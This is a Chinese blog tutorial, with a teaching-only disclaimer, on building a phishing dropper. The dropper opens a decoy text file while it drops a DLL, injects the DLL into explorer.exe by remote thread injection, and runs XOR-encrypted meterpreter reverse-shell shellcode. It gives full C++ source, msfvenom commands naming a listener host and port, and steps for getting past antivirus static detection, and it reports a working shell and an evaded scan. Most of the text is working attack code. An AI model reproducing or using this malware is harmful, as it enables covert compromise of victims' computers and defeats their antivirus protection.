关于文档钓鱼和绕过杀毒软件的静态检测

本文章仅做为教学目的,若本文章的技术造成财产损失,本文作者概不负责


环境:受害机Windows 10,攻击机kali
工具:Visual Studio 2019,msfvenom

为了实现恶意程序的隐蔽性,在执行程序后,可以生成一个word文档或者其他类型的文件来使得程序看起来更正常些。

  1. 将文档和包含shellcode的dll文件存储在可执行文件中
  2. 释放文档并打开,同时也释放dll文件到共享目录中
  3. 进行远程线程注入,将dll文件注入到系统进程中
  4. 关于dll的制作和绕过杀软的静态检测

1.将word文件存储在可执行文件中

在Visual Studio的右侧
资源文件 -> 添加 -> 资源
在这里插入图片描述导入 -> 找到要生成的文件
我这里选的是txt文件来进行测试,
在这里插入图片描述资源类型填写对应的后缀,导入dll文件也一样
资源类型填写对应的后缀名
导入文档和dll文件到可执行文件中后,在右侧可以看到txt和dll文件
在这里插入图片描述

2释放资源,导出文档和dll文件

2.1先进行变量的初始化操作
    char FileName[MAX_PATH] = "C:\\Users\\Public\\T.txt";           //设置将要把文档释放的位置
    char Dllpath[2 * MAX_PATH] = "C:\\Users\\Public\\system_.dll";   //设置将要把dll文件释放的位置
		
    //初始化文档的变量
    HRSRC Resource;
    HGLOBAL ResourceGlobal;
    DWORD FileSize;
		
    //初始化dll文件的变量
    HRSRC DLL_Resource;
    HGLOBAL DLL_ResourceGlobal;
    DWORD DLL_FileSize;
2.2获取内置文档和dll文件的信息
    /*
    * FindResoureA
    * 获取内置txt文件类型资源的句柄,id为102,返回指定资源的信息块的句柄
    * 
    * 参数一:参数为 NULL,函数将搜索用于创建当前进程的模块。
    * 参数二:获取哪个资源的句柄
    * 参数三:要获取资源的后缀
    */
    Resource = FindResourceA(NULL, MAKEINTRESOURCEA(102), "txt");
    DLL_Resource = FindResourceA(NULL, MAKEINTRESOURCEA(103), "dll");

    //获取指向内存中指定资源的第一个字节的指针
    ResourceGlobal = LoadResource(NULL, Resource);
    DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource);

    //获取资源的字节大小
    FileSize = SizeofResource(NULL, Resource);
    DLL_FileSize = SizeofResource(NULL, DLL_Resource);

    //获取该资源第一个字节的指针
    LPVOID PFILE = LockResource(ResourceGlobal);
    LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal);

上述代码中MAKEINTRESOURCEA(102)的102是文档的资源符号,可以在菜单栏的 视图 --> 其他窗口 --> 资源视图 --> 右边出现资源视图,右键 项目名.rc --> 资源符号 查看
在这里插入图片描述

2.3导出文档和dll文件并打开文档
    // 创建并将文档写入到指定位置,未指定绝对路径将在当前运行目录创建,上面已定义文档导出的路径
    HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
    DWORD dwSize;
    WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);

    //执行文件
    SHELLEXECUTEINFOA shellexc = { 0 };
    shellexc.cbSize = sizeof(shellexc);     //此结构的大小
    shellexc.lpFile = FileName;             //运行文件的地址
    shellexc.nShow = SW_SHOW;               //激活窗口并以当前大小和位置显示窗口。
    ShellExecuteExA(&shellexc);             //执行文档,运行到这里文档将会被打开

    //关闭文件的句柄
    CloseHandle(FILE);

    // 创建并将dll文件写入到指定位置,上面已定义dll文件导出的路径
    HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
    DWORD dllSize;
    WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL);

    //关闭文件的句柄
    CloseHandle(DLLFILE);
2.4最终释放资源的函数代码:
void free_resource() {
    char FileName[MAX_PATH] = "C:\\Users\\Public\\T.txt";
    char Dllpath[2 * MAX_PATH] = "C:\\Users\\Public\\system_.dll";
    HRSRC Resource;
    HGLOBAL ResourceGlobal;
    DWORD FileSize;
    HRSRC DLL_Resource;
    HGLOBAL DLL_ResourceGlobal;
    DWORD DLL_FileSize;
    Resource = FindResourceA(NULL, MAKEINTRESOURCEA(102), "txt");
    DLL_Resource = FindResourceA(NULL, MAKEINTRESOURCEA(103), "dll");
    ResourceGlobal = LoadResource(NULL, Resource);
    DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource);
    FileSize = SizeofResource(NULL, Resource);
    DLL_FileSize = SizeofResource(NULL, DLL_Resource);
    LPVOID PFILE = LockResource(ResourceGlobal);
    LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal);
    HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
    DWORD dwSize;
    WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
    SHELLEXECUTEINFOA shellexc = { 0 };
    shellexc.cbSize = sizeof(shellexc);
    shellexc.lpFile = FileName;
    shellexc.nShow = SW_SHOW;
    ShellExecuteExA(&shellexc);
    CloseHandle(FILE);
    HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
    DWORD dllSize;
    WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL);
    CloseHandle(DLLFILE);
}

执行释放函数代码的效果
在这里插入图片描述

3.进行远程线程注入,将dll注入到系统进程中

进行dll注入时,32位的程序要使用32位的程序注入32位的dll,64位的程序就要使用64位的程序来注入64位的dll,好像也有大佬研究出32位程序可以对64位的程序进行dll注入,可以参考一下下列代码
https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp

3.1进行变量初始化
    /* 
    *  函数传入的参数
    *  DWORD dwProcessId 			//进程id
    *  const char* pszDllFileName 	//dll文件路径
   	*/
    HANDLE hProcess = NULL;			//存储进程的句柄
    LPVOID pDllAddr = NULL;			//存储dll的地址
    FARPROC pFuncProcAddr = NULL;	//存储LoadLibraryA函数的地址
3.2在目标进程上开辟内存并写入数据

在这先补充一些有关远程线程注入的知识

远程线程注入就是一个进程在另一个目标进程上创建一个新的线程。需要先在目标进程上开辟一块虚拟内存,然后在这个开辟的内存中注入一个线程到目标进程上,这个线程的目的就是执行LoadLibraryA函数,LoadLibraryA函数的作用是加载一个外部的dll文件到内存中,这个dll文件里的代码就是我们的shellcode代码,最终就会执行到shellcode。
为了保证目标进程不被关闭,选择了一个系统进程:explorer.exe,这个进程比较特殊,这个进程也被称之为进程的父进程,因为进程是不能凭空产生的,我们使用鼠标双击运行程序时,大部分情况都是调用了explorer.exe这个进程去创建新的进程,所以这个进程一般不会被关闭。

    /*
    * 获取目标程序进程句柄,返回给第三个参数
    * 
    * 参数一:想对该进程赋予多大的权限,PROCESS_ALL_ACCESS 进程对象的所有可能访问权限
    * 参数二:表示所得到的进程句柄是否可以被继承
    * 参数三:被打开进程的PID
    */
    hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        MessageBoxA(0,"打开进程失败!",0,0);
        return FALSE;
    }


    /*
    * VirtualAllocEx,先在目标进程上开辟一块内存空间
    * 在指定进程的虚拟地址空间中保留、提交或更改内存区域的状态
    * 返回分配内存的首地址,即dll文件在目标进程内存中的地址
    * 
    * 参数一:进程的句柄,在该进程的虚拟地址空间中分配内存
    * 参数二:指定要分配的页面区域的所需起始地址的指针,
    *         如果 lpAddress 为 NULL,则该函数确定分配区域的位置
    * 参数三:要分配的内存区域的大小
    * 参数四:内存分配的类型
    *         MEM_COMMIT,在之前保留的块上分配虚拟内存页面
    * 参数五:要分配的页面区域的内存保护,
    *         PAGE_READWRITE 区域可被应用程序读写
    */
    lpDllAddr = VirtualAllocEx(hProcess, NULL, strlen(pszDllFileName) + 1, MEM_COMMIT, PAGE_READWRITE);
    if (NULL == lpDllAddr)
    {
        MessageBoxA(0, "分配内存失败!", 0, 0);
        return FALSE;
    }
    
    /*
    * 在程序的指定内存写入数据,在前面已经修改了目标进程的该区域的读写权限,否则不可以写入
    * 
    * 参数一:要写入进程的句柄
    * 参数二:要写的内存首地址
    * 参数三:要写入数据内容的地址,即dll文件在计算机中的路径,此处应为 C:\\Users\\Public\\system_.dll
    * 参数四:要写入的字节数
    * 参数五:NULL忽略
    */
    SIZE_T dwWriteSize = 0;
    if (FALSE == WriteProcessMemory(hProcess, lpDllAddr, pszDllFileName, strlen(pszDllFileName) + 1, &dwWriteSize))
    {
        MessageBoxA(0, "写入内存失败!", 0, 0);
        return FALSE;
    }

到这里就已经在目标进程上开辟了一块空间并写入了数据,即dll文件的路径:“C:\Users\Public\system_.dll”

3.3获取LoadLibraryA函数的地址并执行函数

因为LoadLibrarayA函数是kernel32.dll中的一个函数,所以要先获取kernel32.dll文件的句柄,再获取LoadLibrarayA函数的地址

kernel32.dll是一个核心的动态库,kernel32.dll是在内核空间中,所有的exe进程都加载了这个动态链接库,包括记事本也加载了Kernel32.dll。
虚拟地址划分成了两个空间,用户空间和内核空间,用户空间表示用户运行的程序使用的空间,属于互不相关各用各的;内核空间是操作系统使用的空间,属于是所有程序都可以使用的空间,是共享的。LoadLibrarayA函数属于kernel32.dll,所以如果在当前进程中知道了LoadLibrarayA函数的地址就相当于也知道了其他进程中LoadLibrarayA函数的地址。

 /*
    * 获取LoadLibraryA函数的地址
    * 
    * GetModuleHandle:
    *   获取指定dll文件的句柄,此处是获取kernel32.dll的句柄
    * 
    * GetProcAddress:
    *   获取指定dll文件中函数的地址,此处是获取kernel32.dll中LoadLibraryA函数的地址
    *   返回函数的地址,返回到pFuncProcAddr中
    */
    pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

    if (NULL == pFuncProcAddr)
    {
        MessageBoxA(0, "获取LoadLibraryA函数的地址失败!", 0, 0);
        return FALSE;
    }
    
    /*
    * 创建一个线程并注入到目标进程中执行
    * 创建在另一个进程的虚拟地址空间中运行的线程
    * 
    * 参数一:目标进程的句柄
    * 参数二:指向 SECURITY_ATTRIBUTES 结构的指针,该结构指定新线程的安全描述符
    *         为NULL时,则线程将获取默认的安全描述符
    * 参数三:堆栈的初始大小,为0时表示默认大小
    * 参数四:表示目标进程中线程的起始地址,即LoadLibraryA函数的地址,表示从这个函数开始运行
    * 参数五:指向要传递给线程函数的变量的指针,此处传入的是dll文件路径在目标进程中的首地址
    *         即"C:\\Users\\Public\\system_.dll"这个字符串在目标进程中的地址
    *         最终等于是执行了LoadLibraryA("C:\\Users\\Public\\system_.dll")
    */
    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpDllAddr, 0, NULL);
    if (NULL == hRemoteThread)
    {
        DWORD error = GetLastError();
        MessageBoxA(0, "创建远程线程失败!", 0, 0);
        return FALSE;
    }

    //等待线程注入完成
    WaitForSingleObject(hRemoteThread, -1);
    VirtualFreeEx(hProcess, lpDllAddr, 0, MEM_RELEASE);
    //关闭句柄
    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);

    return TRUE;

远程线程注入部分完整代码:

BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, const char* pszDllFileName)
{
    HANDLE hProcess = NULL;
    LPVOID lpDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        MessageBoxA(0,"打开进程失败!",0,0);
        return FALSE;
    }
    lpDllAddr = VirtualAllocEx(hProcess, NULL, strlen(pszDllFileName) + 1, MEM_COMMIT, PAGE_READWRITE);
    if (NULL == lpDllAddr)
    {
        MessageBoxA(0, "分配内存失败!", 0, 0);
        return FALSE;
    }
    SIZE_T dwWriteSize = 0;
    if (FALSE == WriteProcessMemory(hProcess, lpDllAddr, pszDllFileName, strlen(pszDllFileName) + 1, &dwWriteSize))
    {
        MessageBoxA(0, "写入内存失败!", 0, 0);
        return FALSE;
    }
    pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

    if (NULL == pFuncProcAddr)
    {
        MessageBoxA(0, "获取LoadLibraryA函数的地址失败!", 0, 0);
        return FALSE;
    }
    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpDllAddr, 0, NULL);
    if (NULL == hRemoteThread)
    {
        DWORD error = GetLastError();
        MessageBoxA(0, "创建远程线程失败!", 0, 0);
        return FALSE;
    }
    WaitForSingleObject(hRemoteThread, -1);
    VirtualFreeEx(hProcess, lpDllAddr, 0, MEM_RELEASE);
    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);
    return TRUE;
}

到这里已经可以成功的将恶意dll注入到目标进程中并执行,使用测试弹窗dll注入到记事本的效果:

int main()
{
    //释放资源
    free_resource();
    //记事本的pid和dll的地址
    CreateRemoteThreadInjectDll(18468, "C:\\Users\\Public\\system_.dll");
}

在这里插入图片描述
在这里插入图片描述

4.dll的制作和绕过杀软的静态检测

可以直接通过msfvenom来生成恶意dll,不过很容易被杀毒软件识别杀除

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.222.135 LPORT=4455 -f dll -o system_.dll

https://www.virustotal.com上面检测可以看到大部分杀毒软件都可以识别出
在这里插入图片描述在这里插入图片描述
比较常用的方法可以用异或加密shellcode,这样至少静态检测很难检测出来

4.1生成shellcode

也可以使用msfvenom来生成shellcode

此处的LHOST和LPORT需要填监听主机的ip和端口
-p 表示要生成payload的格式,这里使用的是64位windows,tcp传输反弹shell
-f 表示生成的格式,我这里选用c语言
-b 表示要过滤的坏字符,即不使用这些字符生成shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.222.135 LPORT=4455 -f c -b '\x00'

在这里插入图片描述

4.2对shellcode进行xor加密运算

加密操作

    // 刚才生成的shellcode
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52..."

    // 设置xor加密的密钥
    unsigned char key[100] = "keykeykeyxxx1111";
    
    // shellcode加密后存储在这个变量中
    unsigned char shellcode_encode[sizeof shellcode] = {0};
    
    // code_size存储shellcode的字节大小
    int code_size = sizeof shellcode;
    
    // 进行shellcode和key的异或操作
    for (int i=0; i < code_size; i++) {
        shellcode_encode[i] = shellcode[i] ^ key[i% sizeof key];
    }
    
    // 输出加密后的shellcode
    printf("加密后:");
    for (int i = 0; i < sizeof shellcode_encode; i++) {
        printf("\\x%x", shellcode_encode[i]);
    }

在这里插入图片描述

4.3对shellcode进行xor解密并运行

解密操作
复制刚才生成的加密shellcode,然后进行解密并运行程序

    unsigned char shellcode_encode[] =
        "\x97\x2d\xfa\x8f\x95\x91\xa7\x65\x79\x5e\x69\x79\x67\x7a...";
    
    // 密钥
    unsigned char key[100] = "keykeykeyxxx1111";

    // 解密后的要运行的shellcode
    unsigned char shellcode[sizeof shellcode_encode] = { 0 };

    // code_size存储shellcode的字节大小
    int code_size = sizeof shellcode_encode;

    // 进行shellcode异或解密操作,最后结果存储在shellcode中
    for (int i=0; i < code_size; i++) {
        shellcode[i] = shellcode_encode[i] ^ key[i % sizeof key];
    }

接下来要进行执行这段shellcode

利用动态申请内存,把shellcode放进去,强行转为一个函数类型指针,最后调用这个函数

    // 定义一个变量接收页面指定区域中第一页的上一个访问保护值,该变量必须要存在
    DWORD lpflOldProtect= 0;
    /*
    * 更改调用进程的虚拟地址空间中已提交页面区域的保护
    * 参数一:要更改保护的地址,此处是更改shellcode区域的保护
    * 参数二:更改地址的大小
    * 参数三:更改页保护为可读可写可执行
    * 参数四:接收页面指定区域中第一页的上一个访问保护值
    */
    VirtualProtect(shellcode, sizeof(shellcode_encode), PAGE_EXECUTE_READWRITE, &lpflOldProtect);
    /* 
    * 使用一个回调函数去执行shellcode,这个函数干什么无所谓,主要是要有回调功能
    */
    EnumDateFormatsA((DATEFMT_ENUMPROCA)shellcode, 0, 0);

完整的dll代码:

#include "pch.h"
DWORD WINAPI exec_shellcode(LPVOID pPara) {
    unsigned char shellcode_encode[] =
        "\x23\x54\xb0\x23\xe4\x90\xab\x9a\x86\x87\x30...";
    unsigned char key[100] = "keykeykeyxxx1111";
    unsigned char shellcode[sizeof shellcode_encode] = { 0 };
    int code_size = sizeof shellcode_encode;
    for (int i = 0; i < code_size; i++) {
        shellcode[i] = shellcode_encode[i] ^ key[i % sizeof key];
    }
    DWORD lpflOldProtect = 0;
    VirtualProtect((unsigned char *)shellcode, sizeof(shellcode_encode), PAGE_EXECUTE_READWRITE, &lpflOldProtect);
    EnumDateFormatsA((DATEFMT_ENUMPROCA)(unsigned char *)shellcode, 0, 0);
     return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {
       CreateThread(NULL,0, exec_shellcode, 0, 0, 0);
    }
    }
    return TRUE;
}

注意生成dll时选和目标进程相同的位数,生成解决方案时选release

在这里插入图片描述
最后,要将dll注入到explorer.exe只要获取exeplorer.exe的pid
以下是微软文档提供的进程遍历代码,进行了一些小的修改

DWORD explorerId; 
int PrintProcessNameAndID(DWORD processID)
{
    TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
        PROCESS_VM_READ,
        FALSE, processID);
    if (NULL != hProcess)
    {
        HMODULE hMod;
        DWORD cbNeeded;
        if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
            &cbNeeded))
        {
            GetModuleBaseName(hProcess, hMod, szProcessName,
                sizeof(szProcessName) / sizeof(TCHAR));
        }
    }
    //判断进程名是否为explorer.exe
    if (*szProcessName == *"explorer.exe")
    {
        //获取到的进程id并返回
        explorerId = processID;
        return explorerId;
    }
    CloseHandle(hProcess);
}
int main()
{
		int  explorerId =0;
    DWORD aProcesses[1024], cbNeeded, cProcesses;
    unsigned int i;
    if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
    {
        return 1;
    }
    printf("%s", aProcesses);
    cProcesses = cbNeeded / sizeof(DWORD);
    for (i = 0; i < cProcesses; i++)
    {
        if (aProcesses[i] != 0)
        {
            if (PrintProcessNameAndID(aProcesses[i]) != 0) {
            	//获取到explorer进程的id后放入explorerId变量中
                explorerId = PrintProcessNameAndID(aProcesses[i]);
                break;
            };
        }
    }
}

这样就获取到exeplorer.exe的pid,最后运行的效果 成功注入到exeplorer.exe进程

在这里插入图片描述并且反弹shell成功
在这里插入图片描述火绒扫描未扫出来
在这里插入图片描述受害者实际上看到的就是打开了一个txt文档
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值